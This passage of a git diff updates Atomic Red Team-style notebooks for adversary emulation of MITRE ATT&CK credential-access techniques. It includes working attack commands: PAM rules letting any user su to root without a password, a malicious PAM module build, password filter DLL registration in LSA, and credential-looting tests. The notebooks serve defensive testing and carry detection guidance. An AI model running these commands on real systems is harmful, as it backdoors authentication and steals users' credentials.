%temp%\\T1555.003_Login_Data.tmp > nul 2>&1\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "79d8b27a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1555.003 -TestNumbers 17 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "85c5da3a", "metadata": {}, "source": "## Detection\nIdentify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.)." } @@ -606,13 +651,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1555.004.ipynb b/playbook/tactics/credential-access/T1555.004.ipynb index 8881abef..f15b950d 100644 --- a/playbook/tactics/credential-access/T1555.004.ipynb +++ b/playbook/tactics/credential-access/T1555.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "15e1b566", + "id": "26e409b9", "metadata": {}, "source": "# T1555.004 - Windows Credential Manager\nAdversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)" }, { "cell_type": "markdown", - "id": "620fb29b", + "id": "8df7ec73", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "74dec83e", + "id": "4db744a2", "metadata": {}, "source": [ "### Atomic Test #1 - Access Saved Credentials via VaultCmd", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "132c487d", + "id": "4658e66c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f7e04e2f", + "id": "ab69a46c", "metadata": {}, "source": [ "### Atomic Test #2 - WinPwn - Loot local Credentials - Invoke-WCMDump", @@ -48,14 +48,14 @@ { "cell_type": "code", "execution_count": null, - "id": "ae31fef6", + "id": "c422b8f8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "988f8cb3", + "id": "cea71f3c", "metadata": {}, "source": "## Detection\nMonitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:\u201cWindows Credentials\u201d).(Citation: Malwarebytes The Windows Vault)\n\nConsider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nConsider monitoring file reads to Vault locations, %Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)" } @@ -63,13 +63,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1555.005.ipynb b/playbook/tactics/credential-access/T1555.005.ipynb index 5790cbb8..9997eb8d 100644 --- a/playbook/tactics/credential-access/T1555.005.ipynb +++ b/playbook/tactics/credential-access/T1555.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "09a1378a", + "id": "63cdb920", "metadata": {}, "source": "# T1555.005 - Password Managers\nAdversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)" }, { "cell_type": "markdown", - "id": "73fb156a", + "id": "07c8ca34", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "78a82380", + "id": "2e8b823d", "metadata": {}, "source": "## Detection\nConsider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1555.006.ipynb b/playbook/tactics/credential-access/T1555.006.ipynb new file mode 100644 index 00000000..09a0c296 --- /dev/null +++ b/playbook/tactics/credential-access/T1555.006.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "e61b76d0", + "metadata": {}, + "source": "# T1555.006 - Cloud Secrets Management Stores\nAdversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault. \n\nSecrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables. \n\nIf an adversary is able to gain sufficient privileges in a cloud environment \u2013 for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets \u2013 they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation: Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)\n\n**Note:** this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API." + }, + { + "cell_type": "markdown", + "id": "6c5c7ce4", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1555.ipynb b/playbook/tactics/credential-access/T1555.ipynb index f61e6876..9adb919b 100644 --- a/playbook/tactics/credential-access/T1555.ipynb +++ b/playbook/tactics/credential-access/T1555.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "d00e9cb2", + "id": "e542fdef", "metadata": {}, - "source": "# T1555 - Credentials from Password Stores\nAdversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information." + "source": "# T1555 - Credentials from Password Stores\nAdversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information." }, { "cell_type": "markdown", - "id": "ffed27ca", + "id": "1c4eb96e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "4ff18791", + "id": "bbe3339c", "metadata": {}, "source": "### Atomic Test #1 - Extract Windows Credential Manager via VBA\nThis module will extract the credentials found within the Windows credential manager and dump\nthem to $env:TEMP\\windows-credentials.txt\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Word must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"word.Application\" | Out-Null\n $process = \"winword\"\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "53e60b33", + "id": "083d1536", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8640053b", + "id": "c415bf0c", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e8f94ed0", + "id": "9728c0d8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "97b0bce9", + "id": "6f50245b", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:TEMP\\windows-credentials.txt\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "90f75151", + "id": "1d90ceb1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "107a7dd0", + "id": "9bc56a7b", "metadata": {}, "source": [ "### Atomic Test #2 - Dump credentials from Windows Credential Manager With PowerShell [windows Credentials]", @@ -73,14 +73,14 @@ { "cell_type": "code", "execution_count": null, - "id": "719f6208", + "id": "c8a052b2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7914f12b", + "id": "05e51bc3", "metadata": {}, "source": [ "### Atomic Test #3 - Dump credentials from Windows Credential Manager With PowerShell [web Credentials]", @@ -94,14 +94,14 @@ { "cell_type": "code", "execution_count": null, - "id": "dc014122", + "id": "f5c6cf23", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "c793a89e", + "id": "c03ef92c", "metadata": {}, "source": [ "### Atomic Test #4 - Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials]", @@ -115,14 +115,14 @@ { "cell_type": "code", "execution_count": null, - "id": "cde752a0", + "id": "073d6cdd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "3b7e566d", + "id": "6e90daf1", "metadata": {}, "source": [ "### Atomic Test #5 - Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials]", @@ -136,14 +136,14 @@ { "cell_type": "code", "execution_count": null, - "id": "f345768a", + "id": "6aab4097", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "a19fa38c", + "id": "320e68b3", "metadata": {}, "source": [ "### Atomic Test #6 - WinPwn - Loot local Credentials - lazagne", @@ -156,14 +156,14 @@ { "cell_type": "code", "execution_count": null, - "id": "a5422254", + "id": "82bef1da", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "3fdd3015", + "id": "279e843a", "metadata": {}, "source": [ "### Atomic Test #7 - WinPwn - Loot local Credentials - Wifi Credentials", @@ -176,14 +176,14 @@ { "cell_type": "code", "execution_count": null, - "id": "fc62dbbb", + "id": "dfbdc43a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "2bfc158e", + "id": "f5afb13b", "metadata": {}, "source": [ "### Atomic Test #8 - WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords", @@ -196,20 +196,20 @@ { "cell_type": "code", "execution_count": null, - "id": "ad79c2fb", + "id": "282a1914", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "600caceb", + "id": "e5982ac0", "metadata": {}, "source": "## Detection\nMonitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications." }, { "cell_type": "markdown", - "id": "7e9d81fa", + "id": "a5f2a44d", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Credentials \n Create user credentials that are used for active defense purposes. \n\n Seed a target system with credentials (such as username/password, browser tokens, and other forms of authentication data) for the purpose of engagement. Decoy credentials can be planted in many locations and leveraged in a variety of ways.\n#### Opportunity\nIn order to prolong an adversary engagement operation or enable detections, there is an opportunity to introduce credentials to an adversary that you want them to collect and use.\n#### Use Case\nA defender can plant decoy credentials across an array of locations to increase the chances of an adversary finding and using them.\n#### Procedures\nCreate user credentials for a decoy account, such as 'User ABC'. Store those credentials in the browser and other places on the system to see if an adversary attempts to harvest them.\n" } @@ -217,13 +217,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1556.001.ipynb b/playbook/tactics/credential-access/T1556.001.ipynb index 03b1dbfc..467b901a 100644 --- a/playbook/tactics/credential-access/T1556.001.ipynb +++ b/playbook/tactics/credential-access/T1556.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "bd72282c", + "id": "a45e9890", "metadata": {}, "source": "# T1556.001 - Domain Controller Authentication\nAdversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)" }, { "cell_type": "markdown", - "id": "15024cb9", + "id": "aa9e400d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "3f42fcc1", + "id": "68dcb00c", "metadata": {}, "source": "## Detection\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1556.002.ipynb b/playbook/tactics/credential-access/T1556.002.ipynb index 54a2e140..cbe9b023 100644 --- a/playbook/tactics/credential-access/T1556.002.ipynb +++ b/playbook/tactics/credential-access/T1556.002.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "8fb6db56", + "id": "339f5b0b", "metadata": {}, "source": "# T1556.002 - Password Filter DLL\nAdversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)" }, { "cell_type": "markdown", - "id": "e411a1c3", + "id": "86f122f7", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "69a57e76", + "id": "277feb97", "metadata": {}, - "source": "### Atomic Test #1 - Install and Register Password Filter DLL\nUses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\\#{dll_name})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll\" -OutFile \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\"\n\n```" + "source": "### Atomic Test #1 - Install and Register Password Filter DLL\nUses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\\#{dll_name})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll\" -OutFile \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dc723229", + "id": "6dab1271", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "93248534", + "id": "e726d778", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nreg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\n$passwordFilterName = (Copy-Item \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"\n$notificationPackagesValues = $lsaKey.GetValue(\"Notification Packages\")\n$notificationPackagesValues += $passwordFilterName\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\" \"Notification Packages\" $notificationPackagesValues\n```" + "```powershell\nreg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ \"PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\"\n$passwordFilterName = (Copy-Item \"PathToAtomicsFolder\\T1556.002\\bin\\AtomicRedTeamPWFilter.dll\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"\n$notificationPackagesValues = $lsaKey.GetValue(\"Notification Packages\")\n$notificationPackagesValues += $passwordFilterName\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\" \"Notification Packages\" $notificationPackagesValues\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "cbb1b5aa", + "id": "3cb8016a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "bf49fd96", + "id": "cfc2d1a8", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nreg.exe import PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\nremove-item C:\\Windows\\System32\\AtomicRedTeamPWFilter.dll\n```" + "source": "#### Cleanup: \n```powershell\nreg.exe import \"PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\"\nremove-item C:\\Windows\\System32\\AtomicRedTeamPWFilter.dll\n```" }, { "cell_type": "code", "execution_count": null, - "id": "331d2017", + "id": "f95b3f3b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c639ad07", + "id": "fa3d2ed1", "metadata": {}, "source": "## Detection\nMonitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)" } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1556.003.ipynb b/playbook/tactics/credential-access/T1556.003.ipynb index 48ff0855..83e82807 100644 --- a/playbook/tactics/credential-access/T1556.003.ipynb +++ b/playbook/tactics/credential-access/T1556.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9cfbc1d5", + "id": "2b941cd5", "metadata": {}, "source": "# T1556.003 - Pluggable Authentication Modules\nAdversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)" }, { "cell_type": "markdown", - "id": "a9032e9d", + "id": "82fbd312", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "14933f8d", + "id": "3ac5ecd6", "metadata": {}, "source": [ "### Atomic Test #1 - Malicious PAM rule", @@ -28,42 +28,77 @@ { "cell_type": "code", "execution_count": null, - "id": "f028ee8a", + "id": "6ccf3b70", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "926b340f", + "id": "0965745b", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo sed -i \"\\,auth sufficient pam_succeed_if.so uid >= 0,d\" /etc/pam.d/su-l\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a92cdf20", + "id": "2a2b6857", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1556.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "cf1fafe1", + "id": "f67e7249", "metadata": {}, - "source": "### Atomic Test #2 - Malicious PAM module\nCreates a PAM module, inserts a rule to use it, and then tests it.\n\nUpon successful execution, this test will create a PAM module that allows every user to su to root without a password.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The PAM development library must be installed to build the PAM module\n\n##### Check Prereq Commands:\n```sh\nif [ -f /usr/include/security/pam_modules.h ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ -n \"`which apt-get`\" ]; then sudo apt-get -y install libpam0g-dev; elif [ -n \"`which yum`\" ]; then sudo yum -y install pam-devel; fi\n\n```\n##### Description: The PAM module must exist on disk at specified location (#{path_to_pam_module})\n\n##### Check Prereq Commands:\n```sh\nif [ -f /tmp/pam_evil.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nsudo gcc -shared -fPIC -o /tmp/pam_evil.so PathToAtomicsFolder/T1556.003/src/pam_evil.c\n\n```" + "source": [ + "### Atomic Test #2 - Malicious PAM rule (freebsd)", + "Inserts a rule into a PAM config and then tests it.\n\nUpon successful execution, this test will insert a rule that allows every user to su to root without a password.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo sed -i \"\" \"8s,^,auth sufficient pam_succeed_if.so uid >= 0\\n,g\" /etc/pam.d/su\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "de24f187", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "65afb805", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsudo sed -i \"\" \"/auth sufficient pam_succeed_if.so uid >= 0/d\" /etc/pam.d/su\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d25403be", + "id": "84b73b21", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2 -GetPreReqs" + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "f66b574e", + "id": "7985f6db", + "metadata": {}, + "source": "### Atomic Test #3 - Malicious PAM module\nCreates a PAM module, inserts a rule to use it, and then tests it.\n\nUpon successful execution, this test will create a PAM module that allows every user to su to root without a password.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The PAM development library must be installed to build the PAM module\n\n##### Check Prereq Commands:\n```sh\nif [ -f /usr/include/security/pam_modules.h ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ -n \"`which apt-get`\" ]; then sudo apt-get -y install libpam0g-dev; elif [ -n \"`which yum`\" ]; then sudo yum -y install pam-devel; fi\n\n```\n##### Description: The PAM module must exist on disk at specified location (#{path_to_pam_module})\n\n##### Check Prereq Commands:\n```sh\nif [ -f /tmp/pam_evil.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nsudo gcc -shared -fPIC -o /tmp/pam_evil.so 